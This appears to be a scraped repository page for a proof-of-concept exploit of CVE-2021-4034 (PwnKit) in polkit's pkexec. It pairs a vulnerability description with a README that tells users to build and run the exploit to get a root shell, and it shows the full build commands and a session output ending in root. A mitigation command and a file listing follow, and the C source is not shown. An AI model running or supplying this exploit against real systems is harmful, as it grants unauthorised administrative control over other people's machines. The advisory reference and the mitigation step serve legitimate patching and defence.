CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/Tanmay-N/CVE-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

Readme

# CVE-2021-4034
polkit privilege escalation exploit

Just execute `make`, `./cve-2021-4034` and enjoy your root shell.

The original advisory by my Qualys team [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)

## PoC
If the exploit is working you'll get a root shell immediately:

```bash
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
```

Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
```bash
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
```

## About Polkit pkexec for Linux

Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).

# Mitigation

If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.
```bash
# chmod 0755 /usr/bin/pkexec
```

File Snapshot


 [4.0K]  /data/pocs/ab7b7c6daed3553bff0ab8bdb8e4a90ae23b7410
├── [ 274]  cve-2021-4034.c
├── [ 405]  Makefile
├── [ 339]  pwnkit.c
└── [1.5K]  README.md

0 directories, 4 files

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